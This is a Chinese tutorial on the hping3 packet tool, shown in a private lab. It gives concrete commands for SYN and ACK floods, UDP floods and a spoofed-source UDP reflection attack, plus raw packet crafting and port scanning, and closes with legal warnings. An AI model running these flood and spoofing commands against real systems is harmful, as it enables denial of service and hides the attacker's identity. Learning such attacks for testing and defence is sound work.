使用hping3网络工具构造TCP/IP数据包和进行DDos攻击

1 概述

  • hping3是一个强大的命令行工具,用于生成、发送和解析TCP/IP协议的数据包。它是开源的网络安全工具,由Salvatore Sanfilippo开发,主要应用于网络审计、安全测试和故障排查等领域。hping3不仅可以作为普通的网络连通性检测工具,还因其高度的灵活性和可定制性而被广泛用于渗透测试、防火墙测试、DoS/DDoS攻击模拟以及协议漏洞研究。
  • 本文章主要介绍如何使用hping3进行常见的DDos攻击。构造IP,TCP,UDP,ICMP,HTTP等数据包的方法。还有如何使用hping3进行端口扫描。hping3的功能也不止文章中介绍的这些,其他功能读者可自行去探索。

2 hping3安装

  • 以Centos平台为例,先要安装以下两个依赖包
  •   yum install libpcap-devel
      yum install tcl-devel
      ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
    
  • hping3下载地址
  • 在github下载源码后,解压后通过以下命令安装
  •   ./configure
      make 
      make strip
      make install
    

3 命令简介

  • 这里只介绍本文章中使用到的一些命令,全部命令可以执行 hping3 --help查看。
  •   # hping3 host [options]
        -h  --help        	# 显示帮助
        -c  --count       	# 发送数据包的数目
        -i  --interval    	# 发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000)
      	  	--fast        	# 等同 -i u10000 (每秒10个包)
      	  	--faster      	# 等同 -i u1000 (每秒100个包)
      	  	--flood       	# 尽最快发送数据包,不显示回复
      # 模式选择  
        default mode      	# 默认模式是TCP
        -0  --rawip       	# RAW IP模式,原始IP模式。
        -1  --icmp        	# ICMP模式
        -2  --udp         	# UDP模式
        -8  --scan        	# 扫描模式,扫描指定的端口
      						# Example: hping3 --scan 1-30,70-90 -S www.target.host
        -9  --listen      	# 监听模式
      	
      # IP 模式  
        -a  --spoof       	# 设置源地址。在进行DDos攻击时可以使用这个参数伪造IP
      	  	--rand-dest   	# 随机目的地址模式,详细使用 man 命令
      	  	--rand-source 	# 随机源地址模式,详细使用 man 命令
        -t  --ttl         	# 指定 ttl 值 (默认 64)
      # ICMP 模式
        -C  --icmptype    	# icmp类型,默认回显(echo)请求
      # UDP/TCP 模式
        -s  --baseport    	# 设置源端口,默认为随机源端口
        -p  --destport    	# 设置目的端口,默认端口为0
        -k  --keep        	# 保持源端口不变(默认在发送一个包后端口号会递增)
        -w  --win         	# win的滑动窗口。windows发送字节(默认64)
        -M  --setseq      	# 设置TCP序列号
        -L  --setack      	# set TCP ack,不是 TCP 的 ACK 标志位
        -F  --fin         	# set FIN flag  
        -S  --syn         	# set SYN flag  
        -R  --rst         	# set RST flag  
        -P  --push        	# set PUSH flag  
        -A  --ack         	# set ACK flag
        -U  --urg         	# set URG flag
        
      # 通用设置  
        -d  --data        	# 发送数据包的大小,默认为0
        -E  --file          # 发送指定文件内的数据
        -e  --sign        	# 指定发送的数据
    

4 hping3实现DDos攻击

  • 关于DDos攻击原理可参考这篇文章 DDos攻击原理
  • 这里先准备两台主机,使用hping3进行攻击的主机为192.168.206.137,被攻击主机为192.168.1.2。被攻击主机我们先开启一个8088的TCP端口。

4.1 SYN Flood

  • 先进行较常见的SYN Flood攻击
    请添加图片描述

  •   hping3 192.168.1.2 --syn -p 8088 -c 5 -i u500000
    
  • 参数介绍

    • 192.168.1.2 : 被攻击的主机ip
    • –syn : 进行SYN攻击
    • -p : 被攻击主机端口。在实际场景中,可以通过NMap等端口扫描工具来判断哪些端口是开放的。
    • -c : 发送数据包的数目
    • -i : 发送数据包间隔时间
  • 通过WireShark看下数据包
    在这里插入图片描述

  • 可以看到攻击者发起一个SYN请求,被攻击者进行了一个ACK回应,但攻击者不会响应,又重新发起SYN请求。

  • 上面演示的攻击,攻击者需要等待被攻击者响应一个ACK才会继续发送SYN,可以加个–flood参数,不需要等待ACK响应,持续发送SYN请求

  •   hping3 192.168.1.2 --syn -p 8088 -c 5 -i u500000 --flood
    
  • 可以看下效果
    在这里插入图片描述

  • 还可以在攻击时通过-a参数伪造源IP地址

  •   hping3 -a 192.168.11.22 192.168.1.2 --syn -p 8088 -c 5 -i u500000
    
  • 实际的攻击者IP为192.168.206.137,这里伪造成了192.168.11.22
    在这里插入图片描述

  • 这里演示只使用了一台电脑进行攻击,其实是看不到什么效果的。实际的DDos攻击,可能需要上万台电脑同时发起攻击,如果上万台电脑不间断的持续发送SYN请求,很快就会达到服务器并发处理能力的上限,导致服务瘫痪。

4.2 ACK Flood

  • 再看下ACK攻击
  •   hping3 192.168.1.2 --ack -p 8088 -c 5 -i u500000
    
  • 直接抓包看下数据
    在这里插入图片描述

4.3 UDP DDos攻击

  • 在被攻击主机192.168.1.2上开启一个8089的UDP端口
  •   hping3 -c 5 -e "hello" -d 5 --udp -p 8089 192.168.1.2
    
  • -e表示发送的数据,-d表示发送的数据大小。
    在这里插入图片描述

4.4 UDP反射放大攻击

  • 攻击原理:首先有一台UDP服务器192.168.1.2,给这台服务器发送一个较小的数据请求,UDP服务器会进行数据量很大的响应。攻击者操控肉鸡192.168.206.137进行攻击,并将肉鸡的IP伪造成被攻击者的IP,这样肉鸡192.168.206.137发送请求后,UDP服务器会对攻击目标192.168.206.133进行响应。

  • 如果肉鸡频繁的发送查询请求,UDP服务器就会频繁的对攻击目标进行响应,导致攻击目标服务瘫痪。
    请添加图片描述

  • 攻击命令

  •   hping3 -a 192.168.206.133 -s 1024 -k -c 5 -e "hello" -d 5 --udp -p 8089 192.168.1.2
    
  • 参数介绍

    • -a : 伪造ip地址为攻击目标的地址
    • -s : 指定源端口号,这里就可以伪造成攻击目标的端口号
    • -k : 保持源端口号不变,否则发送一个请求后,源端口号会递增
  • 借助一个UDP调试工具看下效果
    在这里插入图片描述

  • 可以看到,请求本来是肉鸡192.168.206.137发送给UDP服务的,但实际上UDP服务响应到了攻击目标192.168.206.133上。

4.5 备注

  • 这里演示了典型的几种DDos攻击方式,其它攻击方式读者可自行去测试。测试时最好使用自己搭建的内网服务,不要对公网服务去进行攻击。
  • 依据《中华人民共和国刑法》第二百八十五条【非法侵入计算机信息系统罪】:非法侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统以及其他重要计算机信息系统的,处三年以下有期徒刑或者拘役。
  • 依据《中华人民共和国刑法》第二百八十六条【破坏计算机信息系统罪】:对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。

5 hping3构造自定义数据包

5.1 构造TCP数据包

  • TCP包头
    请添加图片描述
  • 可以构造一个TCP数据包,包头的源端口号,目标端口号,标志位,窗口大小都可以去设置。也可以通过-a参数伪造源IP地址,上面DDos攻击介绍过,这里就不再描述过。
  •   hping3 -c 1 -S -A -s 10010 -w 1024 -p 8088 -d 10 -e "helloworld" 192.168.1.2
    
  • 看下抓包
    在这里插入图片描述

5.2 构造UDP数据包

  • UDP包头
    请添加图片描述

  • UDP包头比较简单,一般可以设置源端口和目标端口号

  •   hping3 -c 1 -e "hello" -d 5 --udp -p 8089 192.168.1.2
    

    在这里插入图片描述

5.3 构造ICMP数据包

  • ICMP协议主要用于确认IP数据包是否成功送达目标地址,我们经常使用的ping命令就是使用的ICMP协议。
  • 可以通过hping3构造一个ICMP数据包,构造ICMP包的命令比较简单
  •   hping3 --icmp -c 1 192.168.1.2
    
  • 抓包看下
    在这里插入图片描述

5.4 构造IP数据包

  • IP数据包包头
    请添加图片描述
  • 构造IP数据包,可以设置源地址,目标地址,生存时间,协议等字段
  •   hping3 --rawip -c 1 -t 126 --ipproto 6 -a 192.168.2.2 192.168.1.2
    
    在这里插入图片描述
  • Protocol较常用的主要有以下几种
    • 1 : ICMP
    • 4 : IP
    • 6 : TCP
    • 17 : UDP
    • 41 : IPv6

5.5 通过IP数据包构造TCP数据包

  • 我们知道IP数据包位于网络层,TCP数据包位于传输层。TCP数据包就是在IP数据包的基础上构造的,因此可以直接在IP数据包的数据部分构造一个TCP数据包。听不懂没关系,举个栗子。

  • 首先需要一个二进制数据编译器。这里可以使用Notepad++的插件,在菜单栏找到Plugins->Plugins Admin,搜索Hex-Editor,点击安装
    在这里插入图片描述

  • 安装完成后在菜单栏Plugins下就会多出一个Hex-Editor插件,点击View in HEX就可以编辑二进制文件了。
    在这里插入图片描述

  • 接下来就构造一个TCP数据包,再看下TCP数据包头结构
    请添加图片描述

  • 构造的数据包内容(16进制显示)

  •   27 60 27 62 00 00 00 05 00 00 00 06 50 12 10 08 17 14 00 00
    
  • 首先需要设置源端口号和目标端口号,各占16位,分别为0x2760和0x2762,对应的十进制分别是10080和10082。

  • 接下来设置序列号和确认应答号,各占32位,分别为0x00000005和0x00000006,但是这两位设置后抓包看不到效果,可能是网络传输过程中重置了,后续再研究下。

  • 数据偏移和保留位这里设置为0x50。

  • 然后是非常重要的标志位,比如我们想把SYN和ACK置位,二进制位就需要设置为00010010,那么对应的十六进制就是0x12。

  • 窗口大小占16位,设置为0x1008,对应的十进制为4104

  • 校验和设为0x1714,后面不需要特别设置的可设为0。

  • 看下文件中的内容
    在这里插入图片描述

  • 文件编辑好后,传到Centos上,通过以下命令将文件作为数据发送

  •   hping3 --rawip -c 1 --ipproto 6 -E tcp.txt -d 20 192.168.1.2
    
  • 通过–ipproto指定协议类型为TCP,通过-E参数指定要发送的文件。

  • 抓包可以看下效果
    在这里插入图片描述

  • 首先我们构造的是IP数据包,但实际上已经是TCP数据包了。并且端口号和标志位等信息就是我们在文件中设置的信息。这里只设置了包头,也可以在后面继续设置数据信息。通过同样的方法可以构造UDP数据包等。

5.6 通过IP数据包构造HTTP数据包

  • hping3没有提供构造应用层协议的命令,那么能不能构造应用层协议呢?当然可以,参考勇IP数据包构造TCP数据包的方法,可以在此基础上继续构造应用层数据包,比如HTTP数据包。
  •   27 60 27 62 20 20 20 05 20 20 20 06 50 12 10 08 17 14 00 00 47 45 54 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 31 39 32 2e 31 36 38 2e 31 2e 32 0d 0a 0d 0a  
    
  • TCP数据包的内容不变,在后面继续构造HTTP数据包
    在这里插入图片描述
  • 使用同样的命令继续发送,-d指定的大小要改成文件实际大小
  •   hping3 --rawip -c 1 --ipproto 6 -E tcp.txt -d 57 192.168.1.2
    
  • 抓包可以看到,数据包已经变成了HTTP数据包
    在这里插入图片描述
  • 通过这种方法,我们几乎可以构造传输层和应用层的所有网络协议。

6 端口扫描

  • hping3也支持端口扫描,扫描主机192.168.1.2的1-1024端口状态
  •   hping3 --scan 1-1024 -S 192.168.1.2
    
  • 看下扫描结果
    在这里插入图片描述
  • 端口扫描建议使用Nmap工具,使用相对方便。hping3的其他扫描命令就不过多介绍了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/506075.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

壁纸小程序Vue3(首页布局)

1.创建一个公共目录common来存放css和images App.vue中引用 <style lang"scss"> /*每个页面公共css */ import common/style/common-style.scss; </style> 2.渲染轮播图 <template><view class"homeLayout"><vi…

苍穹外卖04 (新增内表的外键id获取,多表分页查询,多表批量删除,修改先查在改内表外键id用主表的,起售时包含了“停售”状态的外关联表)

1. 新增套餐 1 需求分析和设计 业务规则&#xff1a; 套餐名称唯一 套餐必须属于某个分类 套餐必须包含菜品 名称、分类、价格、图片为必填项 添加菜品窗口需要根据分类类型来展示菜品 新增的套餐默认为停售状态 2 代码实现 1 根据分类id查询菜品 DishControllerGetMa…

手机有线投屏到直播姬pc端教程

1 打开哔哩哔哩直播姬客户端并登录(按下图进行操作) 2 手机用usb数据线连接电脑(若跳出安装驱动的弹窗点击确定或允许),usb的连接方式为仅充电(手机差异要求为仅充电),不同品牌手机要求可能不一样,根据实际的来 3 在投屏过程中不要更改usb的连接方式(不然电脑会死机需要重启) …

SAP 学习笔记 - 系统移行业务 - Migration cockpit工具 - 移行Material(品目)

本章开始&#xff0c;来研究研究移行工具 Migration cockpit。 理论啥的先放一边&#xff0c;来先做一个简单的实例&#xff0c;以对 Migration cockpit 有个大概的印象。 这里就先做一个移行品目的例子。 1&#xff0c;LTMC 启动Migration cockpit工具 默认给我启动了 IE &a…

C++11入门手册第二节,学完直接上手Qt(共两节)

C++多线程 #include <thread>:C++多线程库 #include <mutex>:C++互斥量库 #include <future>:C++异步库 多线程介绍 线程的创建 void entry_1() { }以普通函数作为线程入口函数:void entry_2(int val) { }​std::thread my_thread_1(entry_1);std::thr…

【b站李炎恢】Vue.js Element UI 下 | 十天技能课堂 | 更新中... | 李炎恢

课程地址&#xff1a;【Vue.js Element UI | 十天技能课堂 | 更新中... | 李炎恢】 https://www.bilibili.com/video/BV1U54y127GB/?share_sourcecopy_web&vd_sourceb1cb921b73fe3808550eaf2224d1c155 备注&#xff1a;虽然标题声明还在更新中&#xff0c;但是看一些常用…

npm软件包管理器

npm软件包管理器 一.npm 使用步骤二.npm安装所有依赖三.npm全局软件包-nodemon pm 简介链接&#xff1a; 软件包管理器&#xff0c;用于下载和管理 Node.js 环境中的软件包 一.npm 使用步骤 1.初始化清单文件&#xff1a; npm init -y &#xff08;得到 package.json 文件&am…

Django DRF视图

文章目录 一、DRF类视图介绍APIViewGenericAPIView类ViewSet类ModelViewSet类重写方法 二、Request与ResponseRequestResponse 参考 一、DRF类视图介绍 在DRF框架中提供了众多的通用视图基类与扩展类&#xff0c;以简化视图的编写。 • View&#xff1a;Django默认的视图基类&…

RocketMQ(版本4.9.4)+RocketMQ_Dashbord环境搭建(生产者、消费者的前置环境搭建)

一、官方网站下载 RocketMQ源码包 https://rocketmq.apache.org/zh/docs/4.x/introduction/02quickstart 二、把rocketMQ上传到Linux环境下解压&#xff0c;编译&#xff0c;执行以下命令&#xff08;需要提前装jdk和maven并配置好环境变量&#xff09; unzip rocketmq-all-4…

计算机网络-从输入网址到访问网站的全过程

当我们在浏览器中输入一个网址并按下回车键时&#xff0c;会发生一系列复杂的过程&#xff0c;最终使我们能够看到网页的内容。以下是这个过程的详细步骤&#xff1a; 客户端&#xff1a;首先&#xff0c;用户在浏览器中键入网址&#xff0c;然后浏览器会根据这个网址生成一个H…

基于PHP的新闻管理系统(用户发布版)

有需要请加文章底部Q哦 可远程调试 基于PHP的新闻管理系统(用户发布版) 一 介绍 此新闻管理系统基于原生PHP开发&#xff0c;数据库mysql&#xff0c;前端bootstrap。系统角色分为用户和管理员。本新闻管理系统采用用户发布新闻&#xff0c;管理员审核后展示模式。 技术栈&am…

区间预测 | Matlab实现带有置信区间的GRNN广义回归神经网络时间序列未来趋势预测

文章目录 效果一览文章概述源码设计参考资料效果一览 文章概述 Matlab实现带有置信区间的GRNN广义回归神经网络时间序列未来趋势预测 带有置信区间的GRNN(广义回归神经网络)时间序列未来趋势预测结合了广义回归神经网络(GRNN)的预测能力和置信区间的统计度量,以提供对未来…

C刊级 | Matlab实现DBO-BiTCN-BiGRU-Attention蜣螂算法优化双向时间卷积双向门控循环单元融合注意力机制多变量回归预测

C刊级 | Matlab实现DBO-BiTCN-BiGRU-Attention蜣螂算法优化双向时间卷积双向门控循环单元融合注意力机制多变量回归预测 目录 C刊级 | Matlab实现DBO-BiTCN-BiGRU-Attention蜣螂算法优化双向时间卷积双向门控循环单元融合注意力机制多变量回归预测效果一览基本介绍模型描述程序…

DevSecOps安全工具链介绍

目录 一、概述 二、安全工具链在平台中的定位 2.1 概述 2.2 分层定位 2.2.1 不同阶段的安全工具 2.2.2 安全工具金字塔 2.3 安全流水线集成概览 2.3.1 概述 2.3.2 标准流水线集成安全工具链概览图 三、安全工具链分类 3.1 概述 3.2 威胁建模类 3.2.1 威胁建模的概念…

SQL | SQL 3小时快速入门学习笔记

【【数据库】SQL 3小时快速入门 #数据库教程 #SQL教程 #MySQL教程 #database#Python连接数据库】 课程链接 一、SQL 1.资料库管理系统&#xff08;Database Management System&#xff0c;简称DBMS&#xff09; 是整理资料的软件。其主要功能包括数据的存储、检索、更新和删除…

Matlab中的脚本和函数

Matlab中的脚本和函数 文章目录 Matlab中的脚本和函数脚本创建脚本代码注释函数创建函数局部函数嵌套函数私有函数匿名函数补充知识函数句柄测试环境:Win11 + Matlab R2021a 脚本 ​ Matlab脚本是最简单的程序文件类型。它们可用于自动执行一系列 Matlab 命令,如命令行重复执…

【opencv】教程代码 —features2D(5)旋转相机的基本全景拼接

基本全景拼接 panorama_stitching_rotating_camera.cpp 将第二张图像进行透视变换后与第一张图像拼接 #include <iostream> // 包含了一些用于输入输出的函数 #include <opencv2/core.hpp> // 包含了OpenCV核心库的一些常用类和函数 #include <opencv2/imgpro…

深度学习理论基础(二)神经网络基础篇

目录 一、基础知识点Ⅰ 参数部分Ⅱ 模型部分 二、普通神经网络模型搭建1. 准备数据集2. 划分数据集3. 搭建模型4. 训练网络5. 测试网络6. 保存与导入模型 神经网络通过学习大量样本的输入与输出特征之间的关系&#xff0c;以拟合出输入与输出之间的方程&#xff0c;学习完成后&…

Monkey 和 TextMonkey ---- 论文阅读

文章目录 Monkey贡献方法增强输入分辨率多级描述生成多任务训练 实验局限结论 TextMonkey贡献方法移位窗口注意&#xff08;Shifted Window Attention&#xff09;图像重采样器&#xff08;Image Resampler&#xff09;Token Resampler位置相关任务&#xff08;Position-Relate…

Collection与数据结构链表与LinkedList(三):链表精选OJ例题(下)

1. 分割链表 OJ链接 class Solution {public ListNode partition(ListNode head, int x) {if(head null){return null;//空链表的情况}ListNode cur head;ListNode formerhead null;ListNode formerend null;ListNode latterhead null;ListNode latterend null;//定义…